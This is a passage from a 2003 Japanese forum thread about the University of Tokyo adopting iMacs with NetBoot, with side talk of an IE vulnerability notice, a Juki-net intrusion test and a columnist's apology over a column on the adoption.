ネットワークという系全体のロバストさの源泉になるので、Macみたいに
OS/ハードの両面で「異物度の高い」プラットフォームがネット上で
ちょこっと増加するのは基本的にはよいことだなと。
0450名称未設定
03/10/06 05:24ID:7jUy7yFh適度に混在するってのが、全体として安全性が高いネットワークになるわけだ。
そこから飛躍して考えると、IBMは廃れたプラットフォームや技術をいざという
ときに引っ張り出して再利用できるように大事に温存してるらしいが、昔から
一貫した考え方を持ってやってたとするとすごいことだなと思うよ。
0451名称未設定
03/10/06 05:58ID:y6Kxchp8弊社代表取締役社長 原田永幸が「人気ブランドの経営戦略?アップルコンピュータ」
と題した講演会を行います。講演の内容は、ITの最新動向やアップルコンピュータ社の戦略、
若い人達を元気づけるベンチャーの話など。入場は無料ですが、事前の参加申し込みが必
要ですので、ご興味のある方はお早めにお申し込みください。[9/29]
なぜこんなDQN大学で講演を？
macは高学歴しか使ってはいけないのに。
0452名称未設定
03/10/06 06:06ID:oBdc619Jだけインストールして設置しておけば十分だな。
0453名称未設定
03/10/06 06:33ID:jS1D1nYN0454名称未設定
03/10/06 08:20ID:0Ak0YCPr0455名称未設定
03/10/06 08:28ID:jS1D1nYN0456名称未設定
03/10/06 08:40ID:rNinjom/TFTP でやるいまの NC のだって手弁当でやった部分ある
わけだし、今回の Netboot だってたぶん Apple 的には全然
考えてなくて、安東先生やら田中先生やらがこういうふうに
してくれ、と言ったからなったのでは。安東先生や関谷先生
(は最初からマカーかな?)がマカーになったのは大きいとは
思うけど、別にだからといって最初から Mac に決まって
いたわけでなし。(ちなみに入れてほしいものだけが入札
で引っかかるように仕様を書くのは普通だけど、それを
満たしている別のものが入ってしまう可能性はあるし、
コストの問題もあるし……)
0459名称未設定
03/10/06 09:21ID:MBg/TJc70460名称未設定
03/10/06 09:55ID:asb3xs7U自分たちのサイトで公開したらしい。「酷い！」とかキャプションつけて。
0461456
03/10/06 10:07ID:rNinjom/としたら Apple 側からもアプローチがあったんでしょうかね？
インサイダーではないので分かりませんが……。
まあ自分は FreeBSD ユーザなんで Mac OS X になって
くれればいまの NC より好感が持てるので歓迎です。
まあ Linux になったときも時代の趨勢なだけだったよう
で……(富士通のせいかなあ)
0463名称未設定
03/10/06 11:14ID:WWIL3bqq0464名称未設定
03/10/06 11:25ID:qJL2f9oW0465名称未設定
03/10/06 11:47ID:q8EIZ0ed人間としては、OSXのNetBootでの起動時間が実用レベルなのかさえ分かれば、
かなりMacというプラットホームが魅力的です。中学高校では授業時間５０分なの
でこの時間内での起動時間がどの程度なのかを知りたいです。でもまあ３分以内
ぐらいなら問題ないかな。１教室４８端末あってこれが授業実施時、同時に起動し
はじめるのでこの環境下でのお話となりますが。
しかしメンテコストなどにほとんど予算を計上できない中学高校で、メンテの手間
が大幅に改善されるのであれば、これはもう是非導入したいということになります。
ちなみに生徒用４８端末＋教員用端末＋ファイルサーバで１１００万円ぐらいでし
たが、今回の東大式のシステムの組み方をして生徒用端末４８台を確保した場合
いくらいぐらいになるんですかねえ。
0466名称未設定
03/10/06 11:59ID:b/7sU+qa以前はMacってだけでﾊｧ？ってなことになって入札にさえ名が上がらなかったのに、
今後は学校関係、「東大でー」ってのを引き合いに導入しやすくなるんだろうねえ。
業者の方も、あざとく「東大で導入してる」とかうたい文句でマーケティングして
いくかもね。
あそこを手本に規模をスケールダウンして構築した商品を出していくとかありそ。
0467名称未設定
03/10/06 12:05ID:WWIL3bqq【ニューヨーク５日共同】米ソフトウエア最大手マイクロソフトは５日までに、
閲覧ソフト「インターネット・エクスプローラー」（ＩＥ）に安全上の不具合が
見つかったと発表、同社ホームページを通じてソフトを更新するよう呼び掛けた。
対策の重要度は４段階のうち最高の「緊急」でＩＥ「５・０１」、同「５・５」、同「６・０」が対象。
ハッカーなどがあらかじめ細工したホームページにアクセスすると、外部からパソコンを不正操作される恐れがあるとしている。
（共同通信）
0469名称未設定
03/10/06 12:11ID:b/7sU+qaもれもXPやってるがなんか凄い量になっちゃってるよ＞淫ｽﾄﾏﾝｺ済みﾌｨｯｸｽﾃﾞｰﾀ
0471名称未設定
03/10/06 12:24ID:q8EIZ0edパソコン教室などは、盗難などへの配慮から通常、施錠して管理をするのですが、
これに伴って普段の授業なども毎時間担当教諭が鍵を開け閉めします。また省エネ
の観点から立ち上げっぱなしにしておいて、授業が終わったらログオフさせるという
のが難しいです。教室管理者は一応いますが、担任クラスをもった状態で、朝と夕方
確実に電源のON/OFFできるとは限りませんから、実際の運用上は毎時間ON/OFF
させるのが一番確実なんです。実際、過去に消し忘れて一晩付けっ放しなんてこと
も頻繁にあったようなので。
ちなみに学校の電気使用料金って一ヶ月単位ですと二百万ぐらいいくらしいです。＾＾；
0472名称未設定
03/10/06 12:26ID:4mpMgag90473名称未設定
03/10/06 12:27ID:IpqHgtlPでも東大もiMacだなんて、ちょっと安心したわ。
0475名称未設定
03/10/06 12:34ID:qr2zOR69スリープさせとけば、電気代は常夜灯程度、復帰は数秒ですよ。
設定次第で勝手にスリープしますし、10.3からは定時起動/終了も
出来ると言う噂です。
0476名称未設定
03/10/06 12:36ID:RCHFlZ1X企業HPなんかのマック（サファリ）対応が進んでくれると嬉しいね。
リクルートのページなんかwinじゃなきゃ駄目な所とかあるんだけど、
東大がMacだとそれなりに対応するようにはなるのかな。
0478名称未設定
03/10/06 12:41ID:yFkHBrql記事にしたのだって朝日と日系くらいだろ。
0479名称未設定
03/10/06 12:46ID:q7MppOZpおまいはいつの夏休みから明けて来たんだ・・・
0480名称未設定
03/10/06 12:58ID:q8EIZ0edスリープってその程度なんですね。あと10.3の定時起動/終了も便利そう。
>>477さん
授業変更等で、なかなかすっきりはいかないので、475さんに教えて頂いた
方法がいい気がします。もうすぐ10.3もリリースされるようですし。
0481名称未設定
03/10/06 13:15ID:niIYfJeVそうそう、HTMLもJavaも標準語で書いておいてくれればSafariでオッケなんすけどね。
大手のサイトが方言丸出しの記述やっちゃいけません。
0482名称未設定
03/10/06 13:21ID:eqF0MfdhIEってやっぱり欠陥ブラウザでした。
MSもこんな事ばかりでは終わりだな。
0483名称未設定
03/10/06 13:23ID:YmP0AhpJじゅうじゅう知ってたろうに今頃よぉ
0485名称未設定
03/10/06 13:31ID:YmP0AhpJ0486名称未設定
03/10/06 13:31ID:eqF0MfdhMSが故意に隠していたに1000万リラ (゜o゜)/
他にも隠してるに1000万ペソ!! Y(ﾟ_ﾟ)Y エッ！
Safariで良かった。
0488名称未設定
03/10/06 13:52ID:aNPL47mcバイリンガルのコンピューティング環境が
必須ということで、9801全盛期からMac一本。
Ethernetが普及する前はERB棟の中を
Appletalkケーブルが這い回っていた。
0489名称未設定
03/10/06 13:56ID:ULB8it2A0490名称未設定
03/10/06 14:03ID:GdT5DvvY逆に、メーカーからすればいいビジネスチャンスだよね
生徒用４８端末＋教員用端末＋ファイルサーバで１１００万円よりも
安く、しかもメンテが楽な方法を提案すれば、東大も導入したことだし、
学校側とすれば有力な選択肢に入るだろう。
0491名称未設定
03/10/06 14:11ID:um6iC4kW東大のこういう運用実績は、学会とかで成果を発表とかしてるのかな
0492名称未設定
03/10/06 14:14ID:SctQg0eZつーか、
ExcelやWordが使えれば即戦力なんて、東大に限らずどこを出ていようが
ふつうありえない罠。
大学で開講されてるコンピュータ関係の講義って、
役に立たない「IT講習」by 森喜朗 みたいなことじゃないよね。
演習なんかではExcelとか使うかもしれないけど、それだって
Excel の使い方を勉強するのが目的じゃないよね…。
0493名称未設定
03/10/06 14:15ID:U45YhChLMac OS X 用アプリのコピペを禁止するには
xxx.app/Contents/MacOS/xxx から読み込み権限外しとけばいいからね。
実行権限だけあれば起動できるから。
xxx.app自体から読み込み権限を外しちゃうと起動できなくなるからね。
0495名称未設定
03/10/06 14:50ID:PpoJKTLPこれまだ出てないよね。
# とりあえずgrepしてみたけどなかった。
0496名称未設定
03/10/06 14:58ID:LByyJsCE0500名称未設定
03/10/06 15:08ID:ve9IQWeM0501名称未設定
03/10/06 15:11ID:DVKhlUSrこれって今のシステムじゃないの?
>>497
interviewer インタビューする人
interviewee インタビュー「される」人
ex) employer 雇用者、雇用する人 employee 被雇用者、雇用される人
0502名称未設定
03/10/06 15:13ID:BpKhxXEa0504名称未設定
03/10/06 15:15ID:Kjoy05Jm0505名称未設定
03/10/06 15:17ID:BpKhxXEa0506名称未設定
03/10/06 15:18ID:I2rTqTUi> xxx.app/Contents/MacOS/xxx から読み込み権限外しとけばいいからね。
ついでにいうと、X Serve側でクライアントのDVD/CD-Rも制御できちゃうんだよね。X Serve側で禁止しておけば、ディスクトレーの開閉すらできない。
外付けHD(iPod含む)のマウント可否とかも制御可能。便利すぎ。
0507名称未設定
03/10/06 15:20ID:DVKhlUSrhttp://headlines.yahoo.co.jp/hl?a=20031006-00000001-cnet-sci
記事の方向性はDRM関連のためって感じで書いてあるけど
これってnetbootや>>506のいうサーバ側からのハードウェア制御をやりやすくするって事だよね。
MSも着々と手を打っているようで
0508名称未設定
03/10/06 15:29ID:UUtYDq0+技術引っ張れよ。
今頃BIOSなんて化石統合してんよ。
Window95の開発に5年もかかりやがって、あ？
WindowsMAXって何年後出るんだよ？
その頃みなさん超能力で会話してるよメガネ
0509名称未設定
03/10/06 15:36ID:iatiXrDh0510名称未設定
03/10/06 15:53ID:yFkHBrql老害のメガネよりは能があると思うが。
0511名称未設定
03/10/06 15:53ID:eqF0Mfdhhttp://www.asahi.com/column/aic/index.html
鐸木能光←自称デジタルストレス王&ITビジネスコンサルタント&上智大学非常勤講師いろいろ…。
0512名称未設定
03/10/06 16:07ID:m0B8KOt9セキュリティ技術悪用してまでシェア拡大押し進めたいのかねー？
90％以上のシェアを完全100％になるまで？？
ttp://japan.cnet.com/news/ent/story/0,2000047623,20061069,00.htm
ビジネスで世界を食ったし、クルーザーもジェット機も別荘も土地も金もイパーイ、女もウハウハ酒池肉林。
まだ何が欲しいんだようメガネー
0513名称未設定
03/10/06 16:16ID:q7MppOZp火曜だよ.
0515名称未設定
03/10/06 17:12ID:qr2zOR69>米マイクロソフト、WindowsとBIOSを統合へ
Linuxとか、Windows以外のOSをブートできなくするためじゃないの？
0516名称未設定
03/10/06 18:00ID:LkfzeNjz頭のイイ人達って、Winなんぞ最初から
眼中ないってことでつね。
0517名称未設定
03/10/06 18:43ID:I2rTqTUi> 金持ってます、シェア王者ですってのが、すべからく後手後手なのがいつも不思議。
> 技術引っ張れよ。
技術だけじゃなく広告手法までパクリ。
http://www.zdnet.co.jp/news/0310/06/ne00_mstv.html
0519名称未設定
03/10/06 19:32ID:QRxAVc5hいつものことだし、どうぞおやんなさいって感じ？
MSもおされになるのはいいこったw
あっちでもWin＝オタなんだね
>>518
?
0520名称未設定
03/10/06 19:35ID:MiDpa7Eoこういうの見てると、クラスのダサ男君がモテモテ君のファッションとか
一生懸命マネてるんだけど、どっかズレてて却って大失笑を買うというの
を彷彿とさせるんだけどさ・・・。
最近だとX-BOXの外しっぷりとかが顕著だけど。
でもこのMSの外しっぷりが、世のダサ男君たちの共感を生むのかな？
ね？>>518
0524名称未設定
03/10/06 21:50ID:pU32FmFE0525名称未設定
03/10/06 21:52ID:AVSnCXgbwindowsしか使ったことがないオッサンが管理しているから脆弱なんじゃなくて
住基ネットにwindowsサーバが広く使われているのが原因のひとつのようで…
長野の侵入実験の詳細が公表されていないので、まだ即断はできませんけどね。
0526名称未設定
03/10/06 22:00ID:Kt7Wpnvo0528名称未設定
03/10/06 22:47ID:+ybhNeErだな、そのやり方までは公表するかどうかしらんが。
オレオレ詐欺みたく、報道された後でも広がるしね。
つか、大学の情報教育はそういうこと教えてるのかな？
ソーシャルクラッキングの危険性と防衛のやり方ねｗ
0529名称未設定
03/10/06 22:49ID:M2+XEyw40530名称未設定
03/10/06 22:58ID:isphXak8侵入できなかったようだよ
出来たら大威張りで、大公表だろ
それにしても、藻舞えたちって、よっぽど嬉しかったんだねぇ＞東大
0531名称未設定
03/10/06 22:59ID:swB4MxUM無線LAN経由のNetBootはできないと思った方がいい。最低でも100Mbps。
5台のMac（古い）で同時NetBootした場合、90秒くらいだった。台数と時間は比較的リニア。
クライアント数だけのMac OS Xライセンスが必要。
東大の場合、ユーザ認証はどうすんだ？今さらNISってことはないだろうから、、LDAPか？
んで、homeはNFSマウントね。automountかな？ だとしたらちと小技が必要か。。
NetBootイメージはOSだけか？ Macのアプリも含めるのか？
NetBootサーバのロードバランスはどうのように．．．
知りたいことはいぱーーーいあるな。 うちもNetBootやるかもね。（w
0532名称未設定
03/10/06 23:02ID:CvEKcfaLとOSX使ってる人は思っていると思う。
0533名称未設定
03/10/06 23:05ID:lZ74qdJw>クライアント数だけのMac OS Xライセンスが必要。
Mac OS X ServerってUnlimitedライセンスもあるんじゃ……。
0535名称未設定
03/10/06 23:09ID:s6GLV9D5http://biztech.nikkeibp.co.jp/wcs/leaf/CID/onair/biztech/comp/269593
47台のNetBoot用Xserve * 25 = 1175台だからだいたいそうっぽいね。
>LDAP認証連携機能によるユーザーID管理の一元化などのNASソリューション
>NEC EnterpriseDirectoryServer ユーザー認証を行うサービス
がユーザ認証関係かな
0537名称未設定
03/10/06 23:14ID:q7MppOZp県の関係者さんですか？
まだ結果何も県オフィシャルの公表はしてませんが。
0538名称未設定
03/10/06 23:14ID:LkfzeNjzネタは話題にならんのさ？
0539536
03/10/06 23:15ID:OgQ8w2mh0540名称未設定
03/10/06 23:15ID:699Bh9gpttp://www.apple.co.jp/server/macosx/specs.html
クライアント数の制限は、Macintoshのファイル共有サービスを
同時に利用できるクライアント数のみに適用されます
0542名称未設定
03/10/06 23:17ID:eqF0Mfdhいや、ここのひとはよくわかってるね。さすが新・mac板です。
0543名称未設定
03/10/06 23:20ID:lZ74qdJwAppleShareの部分だけか……。＜Unlimited
でもMacのハード自体にMac OS Xのライセンスが必ず一つついてくるから、
実質的にOSのライセンス数は気にしなくていいんじゃないかな？
0544名称未設定
03/10/06 23:20ID:wKOtCUaH> Mac OS X ServerってUnlimitedライセンスもあるんじゃ……。
Mac OS X Server v10.2（10クライアント版） =￥59,800
Mac OS X Server v10.2（Unlimitedクライアント版） =￥98,000
めちゃめちゃ安くないか？
0545名称未設定
03/10/06 23:22ID:SctQg0eZUnlimited ライセンスって、「いくらでもコピーしていいライセンス」じゃないぞ。
サーバのライセンスとは別にMac OS X のライセンスが必要。
# まあ、iMac買えばMacOSXもくっついてくるわけだから、
# ライセンスが問題になることはないと思うけど。
0546545
03/10/06 23:24ID:SctQg0eZ0548名称未設定
03/10/06 23:28ID:isphXak8ﾏｶにゃ皆無だよな
0550名称未設定
03/10/06 23:31ID:lZ74qdJw>使いやすさとセキュリティはトレードオフってな認識は
>ﾏｶにゃ皆無だよな
相当使いやすくしてもWinよりはるかに安全だから心配するな(w
0551名無しさん
03/10/06 23:33ID:GFwq0PKr0554名称未設定
03/10/06 23:48ID:yFkHBrql0556名称未設定
03/10/06 23:52ID:isphXak8今日は食い付き悪いな
0558名称未設定
03/10/06 23:54ID:rX7nh8yi> >>525
> あんがい、ソーシャルも実験のプランには含まれているんだろうね。
今回に関しては、それは対象外。
だって、当事者自身がセキュリティなんて分からないと不安がっているのだから
それをやったらボロボロ。
0559天才釣り師
03/10/06 23:54ID:AVSnCXgb0560名称未設定
03/10/06 23:57ID:jP6PWveEそろそろ他の言い訳考えろ( ＾∀＾)ｹﾞﾗ
0561名称未設定
03/10/07 00:02ID:U04Db5fqの考え方は違う。大学では基本的に予算の許す範囲で、それぞれが使いたいものを使う。
東大でのMacのシェアは、元々世間一般より相当高いですね。
0562名称未設定
03/10/07 00:05ID:SMkSW8bRサンクス。LDAPだね。
それで、Macとwinのユーザ認証するんだろうなぁ。。
ところで、Ｍ＄のLDAPとマクのLDAP同じだっけか。
学外からのNetBootはおそらく無理だろう。学内なら可能だね。意味あると思う。
あと、MintPCのNetBootもどきシステムもなかなかいいぞ。こないだちょっと触った。
サンレイとVID、、、やっぱVIDのほうが実用的かもな。
0563名称未設定
03/10/07 00:13ID:SMkSW8bRしかし、うらやましいね。管理は相当楽になると思われ。
0564名称未設定
03/10/07 00:34ID:+dLGzXxEこのスレのどっかでMSのActiveDirectoryはLDAPインターフェイスを持っているし
アップルもOpenDirectoryとActiveDirectoryとの親和性を強調しているという話が出ていたかと。
0565名称未設定
03/10/07 00:38ID:LNfDzLEM自分たちの選択眼に絶対の自信がなければ、普通の企業ならこんな
先例も実績もないソリューションなんかなかなか出来ない。
0566名称未設定
03/10/07 00:43ID:+dLGzXxEまぁ、資金が潤沢にある上に学生用なので
ミッションクリティカルな業務じゃないっていうのが大きいかと。
学生用計算機センターの意志決定が安藤先生を含め数人に握られているから
大胆な(ある意味勝手なw)決定が出来るとも言えるね。
0567名称未設定
03/10/07 00:53ID:KVRYkRYwSunRayはコードネームがCoronaの頃、Asiaで唯一のベータテスタでした。
ICカードをつかったあのコンセプトは、学校よりも定型業務の多い企業か
開発がUNIXベースの部署のほうがお勧め。日本の学校では使いにくいと思う。
千葉大が果敢にチャレンジしたけど、ちょっとね。
VIDは開発のアドバイス等していますが、なかなかだと思いますよ。コストも
それなりなので、２０台以上Windowsを使っているところは導入を考えてもいいと思う。
うちの自宅のPCもVIDでサービスしてくれたらと思うこともある。
MacでもWinでもLinuxでもそいいうサービスをどこかやらないかな？
0568名称未設定
03/10/07 00:58ID:BKNXo25chttp://www.ipsj.or.jp/members/SIGNotes/Jpn/24/2003/029/article005.html
関谷さん、安東さんとミントウェーブの人たちでやったようだけれども。
0569名称未設定
03/10/07 01:10ID:+dLGzXxEいや、初めてかと。
すごいね。ちゃんとこっちもテストしてから導入してるんだね。
0570名称未設定
03/10/07 01:13ID:CcQXt6uPhttp://www.twcu.ac.jp/cis/index.html
0571名称未設定
03/10/07 01:19ID:WYIzsgdK0573名称未設定
03/10/07 01:44ID:yJaDn5JH住基ネット＝役場のLANじゃないよ。
いくらなんでも、住基ネット本体にWindowsサーバーが使われているとは
思えんが。それじゃ韓国なみだ。
>530,537
いずれも簡単に侵入できたということです。
詳細を検証中という中間発表です。
知らないくせに書かない！
>567
アメリカでは普通。
0574名称未設定
03/10/07 01:51ID:v2S9wg0b>> 技術面では，
>>1）住基ネット用サーバーや住基ネット専用端末のＯＳにはＷｉｎｄｏｗｓ ２０００シリーズを採用
>>2）住基ネット用サーバーと既存システムをＬＡＮで接続する場合は，間にファイアウォールを設置
>>3）このファイアウォールは指定ポートだけ通信を許可するよう設定
てなわけで、使われています。非公開の部分が多く、サーバ構成の詳細がはっきり
しませんが、端末のみwindowsを利用しているのではない模様。
0575名称未設定
03/10/07 02:39ID:/pQJxF1x２ちゃんには、知らないくせに書くどころか、調べもせずに書いているヤシで一杯ですが…
>>574
日本の役人の考えはは韓国並ってことだね…
0576名称未設定
03/10/07 04:52ID:ncUzP5Tb># ライセンスが問題になることはないと思うけど。
目から鱗。
0577名称未設定
03/10/07 04:54ID:vfc5WpBT0578名称未設定
03/10/07 05:56ID:P2mwORIv0579名称未設定
03/10/07 07:58ID:RV0UJiQw0580名称未設定
03/10/07 08:12ID:CmQF1aiy東京人はまるで相手にしてないのに大阪こそ日本の首都だと言い張る大阪人を見てるようだ
今回のことは、都庁職員の弁当にたこ焼きが採用されたという程度の問題であろう
0581名称未設定
03/10/07 08:21ID:6NTK7oUI0584名称未設定
03/10/07 09:27ID:cxQYvNd5ただ、京都人は東京を心底軽蔑してる。まだまだ青い、田舎者の街らしい。
0585名称未設定
03/10/07 09:55ID:P2mwORIvそれも別言語圏の東北弁のさあ。
ありゃあ、日本語じゃねえな。
宇宙語だな。
0586名称未設定
03/10/07 10:01ID:LM+INuSe0587名称未設定
03/10/07 10:02ID:tytjdlp+抱えているような気がする。
漏れが住んでいるド田舎なんか東京＝ｽｹﾞｪ!の図式しかないしw
厨房の頃の担任がいってたんだが世界で一度天下をとった国はもう二度と
返り咲くことはできないというジンクスみたいなのがあるらしい。
日本の国の中心もそんな感じなのかなぁ、と思い出してみる。
0588名称未設定
03/10/07 10:02ID:EtAwhEK4お、あなたひょっとしてYさん?
0590名称未設定
03/10/07 10:15ID:TPdUNVYD10.3からはActiveDirectoryと仲がよくなるらしいね。
今まではLDAPと謳いながらも方言がきつかったのでね。。
>>567
禿同。PC並べて苦労してるところはVIDマンセーだよね。
おそらくMacのNetBootよりも扱いやすいと感じました。
MacのNetBootイメージ作成って、どうも家内製手工業的な香りがするんだよね。。
10.3(Server) ではNetBootイメージのハンドリングを簡単にするツール開発してほしいなぁ。＞アポー
マニュアルにあるようなOSXインストールCDからのイメージ作成方法ってのは、少数派になると思うから。
0591名称未設定
03/10/07 10:23ID:TPdUNVYD/etc/rc.netboot あたりを眺めるとわかるが、今のところATAドライブは必須。
10.3ではswap領域をどうにかして、真の意味のディスクレスが可能との話もある。
東大はそれに間に合わないと見るべきか、、ローカルHDDを何かに有効活用すると見るべきか。
漏れ的には、この「遊んでる」LocalHDDの利用目的について結構興味あるな。（w
0592名称未設定
03/10/07 10:27ID:EGWdW7jz君は、サーバーの意味がわかってない。
0593名称未設定
03/10/07 10:35ID:K++shXgC0594名称未設定
03/10/07 10:39ID:TPdUNVYDひょっとしたら、どこかの基調講演で自慢するかもな。なんせ、日本の東大だからね。
ところで、一番儲けるのはどこだ？
まぁ、アポーは間違いないとして、、、応札業者はかなり火の車と思う。
アポーとこの業者って直接取り引きないだろうから、名前こそ出て来てないけどどっか
甘い汁吸うところがあるに違いない。
0595名称未設定
03/10/07 10:45ID:iVlv7+J30596名称未設定
03/10/07 10:54ID:tpDTceqS0597名称未設定
03/10/07 10:55ID:MAb4rgas彼もここを見ていると思うのでひとこと。
「これを機会にMacOSXに触れてみよう。」
0598名称未設定
03/10/07 10:55ID:K3Bp4nJmhttp://www.asahi.com/column/aic/Tue/d_takuki/20031007.html
0599名称未設定
03/10/07 10:56ID:EtAwhEK4「悪魔性」って何のことだよ。
「もちろん、人間ですから」こういう自己弁護が余計だっつーの。
「学者馬鹿」まだ言うか。「何人か知っています」からどうして「などに多いと思います」になるんだよ。
「素人として」だったら「ITビジネスコンサルタント」の肩書き外せよ。ついでにこんな駄文のエッセー打ち切れ。
全然「猛省」になってないね。
0600名称未設定
03/10/07 10:57ID:aLS6IVVo0601名称未設定
03/10/07 10:57ID:1VbwRJUa前半結構真面目にあやまっているね。
まあ真面目に謝るのにタヌキの写真はどうかと思うが、、、
0602名称未設定
03/10/07 10:57ID:egbSulfh0603名称未設定
03/10/07 11:02ID:IvX3cXnP> 大きな穴があいていました。
言い訳にならないな。知らないなら何故調べようとしなかったのか。
0605名称未設定
03/10/07 11:04ID:P2mwORIv一般の消費者にいたっては何をかいわんやである。
MacOS Xだけのシェアって0.2%も無いわけだから知らなくて当たり前。
百億のスイッチキャンペーンや日常化したアンチMS広告の結果がこれである。
0606名称未設定
03/10/07 11:05ID:Hu00DbcIダメージはでかそうだね。前半見るとけっこう反省してるみたい
だから、まあいいんじゃない？別にたたきたいわけじゃないし。
ちょっと意味不明な言い訳くさいところはあるけど。。。
0607名称未設定
03/10/07 11:06ID:egbSulfh0608名称未設定
03/10/07 11:06ID:RE8CX8GN> 大きな穴があいていました。
そんな大穴開けといて、よくITビジネスコンサルタントが務まるな。
これからは「自称ITビジネスコンサルタント」と名乗るようにしろ！
0610名称未設定
03/10/07 11:07ID:NVDAOJbQ特需があるとしたらアポぐらいだと思うよ。
ただこの案件だけでどうかっていうと微妙だろうけど。
大体こういったシステムってラック等の業者、
設置や工事の業者であとハード、SE、LAN等配線、リースで別業者てな感じです。
規模の割りに…ってのはあるかも知れないけど
普通に利益でてると思うなあ。
0611名称未設定
03/10/07 11:08ID:TPdUNVYD公に言っているんだから、もういいじゃないか。今後の磨きのかかったコラムに期待するよ。
それで「お詫び」を証明してくれればいい。 寛容なマカーでいたい。
んでだ、、Macのアプリはどこに置くんさね。
0613名称未設定
03/10/07 11:12ID:egbSulfh今回の件で、全国の大学等の雰囲気は相当に変わったと思うね。
システム担当が、これまでやりたくても言い出せなかったってケースは相当ありそうだよね。
0614名称未設定
03/10/07 11:13ID:x6BAHHMLTVで阪神ファンを名乗り、阪神のことを語るくらいの程度だろ。
みんな寛容な目で見てやれよ。
0615名称未設定
03/10/07 11:16ID:egbSulfh0616名称未設定
03/10/07 11:17ID:0T9a4SZLしかし、内面世界に入っていってしまってｗ
肝心のOS Xが東大に導入されたことへの是非は
どこかに行ってしまった…
たぬっちがどう思っているのか改めて聞きたいね
0617名称未設定
03/10/07 11:20ID:TPdUNVYDそっか。。ま、アポは確実だね。
報じられた応札業者の名を目にした時には、少々驚いたんですよ。
これで、自社のPCを中心に、サーバとかを納入するなら普通の案件だなと思えたんだけど、
よりによって(^^;アポでしょ？ Macでの儲け分はほとんどないかなと
余計な心配したんだよね。
利用者や大学側からすると、どうでもいいことなんだけどさ。（ｗ
0618名称未設定
03/10/07 11:23ID:VDdoA9Xy削除された文章は、どんなのだったのだ？
過去レスにあるのか。
0619名称未設定
03/10/07 11:24ID:ltpJ9+Vsだけど、一応反省しているみたいだし、とりあえず
こんなところか。
0620名称未設定
03/10/07 11:24ID:9m9oWmyOもう一度書くべきだろうな。
0621名称未設定
03/10/07 11:25ID:6NTK7oUI0622名称未設定
03/10/07 11:26ID:TPdUNVYD先行投資的な戦略ってのはよくわかるが、、かなりの賭けだとおもう。
もっとMacに近い業者が二の足踏んでいるところに躍り出るんだからね。
0623名称未設定
03/10/07 11:30ID:qF/algnlマジでマイノリティって最悪だなｗ
0625名称未設定
03/10/07 11:33ID:NVDAOJbQあんまり変わんないかも…
よっぽどシステム担当者に権限あるところなら別だけど
普通はそんな事ないから。
学生はどんなアプリつかうか、とか
講師はどんなアプリを使って講義をするか、とか考えると
お偉方の結論はwinになる事が多いです。安いし。
だから今回の案件は非常にチャレンジだと思ったけれど。
営業はしやすいかもね。
>>617
確かに強力なコネつかったとなると
よっぽど値切らされたって可能性はありますね。。
biochemicalな分野は教育でもこれから盛り上がるし
そういう分野ならMacやSGIでも全然ありだから
いけそうなんだけどなあ。
0626名称未設定
03/10/07 11:33ID:5D7+JNzi次スレはいらんのではないかな。
必要なら「教育機関・大学のMacスレ」とか。
調べ直して書き直し、とかはやらんだろ。
この分野に明るくないのがわかってるのに同じ過ちを繰り返しても。
0627名称未設定
03/10/07 11:34ID:TPdUNVYD0628名称未設定
03/10/07 11:37ID:0T9a4SZL0629名称未設定
03/10/07 11:37ID:egbSulfh東大のネームバリューというか影響力は大きいからね、
多くの大学の計算機センターのなんてのはUNIXマンセーでアンチMSが大半だからね、
それでも、これまでは、Win端末を中心にシステムを作ってるところが多いと思うんだよね。
今回の件で、心理的バリアが取り払われたって思うのよ。あと、２、３の大学で同様な動きが
でると、風向き大きく変わるだろうね。なだれるかも？
0630名称未設定
03/10/07 11:38ID:jMbibNC84年前はサウンドカードは要らないってったのについてきて
(そりゃ納入する側としては外すほうが面倒)そのまま利用されて
なかったわけだし(いまは一応サウンドカードも使えるが)。
技術的な問題で local HDD が必須でなければ、電気代の無駄なので
外すとは思う。駆動音もついてたらうるさいだろうし。
3月に納入されて4月までの短い時間で誰が外すの、
という問題はあるが(ワラ
0631名称未設定
03/10/07 11:38ID:qF/algnlマカーのレスってそんなのばっかりなｗ
0632名称未設定
03/10/07 11:40ID:HTjd6OSt0633名称未設定
03/10/07 11:43ID:egbSulfhHDDは、外さない。外すと、スワップとかできなくなるから。
利用者も一時的保存の場所として使えるみたいだよ。
0634名称未設定
03/10/07 11:44ID:MAb4rgas>この分野に明るくないのがわかってるのに同じ過ちを繰り返しても。
それは言えてる。
しかしコラムではなく自分のサイトで調べ直して汚名返上するくらいの意地は見せて欲しいね。
マンセー記事では面白くないからマカーを唸らすほどの反撃を希望。
って無理か。（w
0635名称未設定
03/10/07 11:45ID:TPdUNVYDHDDがついてて一番の問題は、壊れた時だよね。
でもNetBootならば、本体まるごと代替機と交換して即使用可能だから、
漏れとしては、外すことよりも有効活用する方をとりたいな。
（iMacのHDD外すのって、かなーーりしんどいゾ）
0636名称未設定
03/10/07 11:45ID:egbSulfhたぶん、まだ、東大でどういうシステムが作られようとしているか、把握しかねてると思うよ。
どう見ても、大学のことなんて、何も知らない。
0637名称未設定
03/10/07 11:49ID:9m9oWmyOライターとして客観事実を踏まえてどう思うのか。それでもマックを入れたのは
間違いだと言うのならそれでいいじゃないか。
書き直し＝マックマンセーの要求だと思う辺りで既に終わってるよあんた。
0639名称未設定
03/10/07 11:57ID:ik/3Uxtw0640名称未設定
03/10/07 12:04ID:ihlsiRuL0641名称未設定
03/10/07 12:22ID:F0JcdJWu0643名称未設定
03/10/07 12:31ID:ik/3Uxtwアクティベイト（アドレナリンの分泌！）されますた！
0644名称未設定
03/10/07 12:37ID:LM+INuSe前の文全面削除したなら具体的にどこがどう（と抜きだせるレベルじゃなかったが）
「事実誤認」だったか書かなければあのコラムを読んでる知識を持たない人間には
更なる誤解が生じるんじゃないのか？
まだITビジネスコンサルタントって肩書きで素人騙したいかね。
0645名称未設定
03/10/07 12:44ID:qF/algnlマカーのレスってそんなのばっかりなｗ
0646名称未設定
03/10/07 12:46ID:qF/algnlMac寄りの記事じゃないとヘイトメール爆弾落とすんだろ、藻前らｗ
0647名称未設定
03/10/07 12:49ID:wMR1k/LpWin寄りの記事じゃないとヘイトメール爆弾落とすんだろ、藻前ｗ
0648名称未設定
03/10/07 12:51ID:egbSulfh狸システムはおかしくないけど、入力データが間違ってた（古かった）と読めるね。
0649名称未設定
03/10/07 12:52ID:bdxGv+CG鐸木能光の今後のコラムでもう一度東京大学のiMac大量導入に付いて書いてもらいたいが…。
そんな勇気はあるまいな。
0650名称未設定
03/10/07 12:54ID:qF/algnlおいおい、んな事WindowsUserがやったら「祭り」どころの騒ぎじゃないぞｗ
0651名称未設定
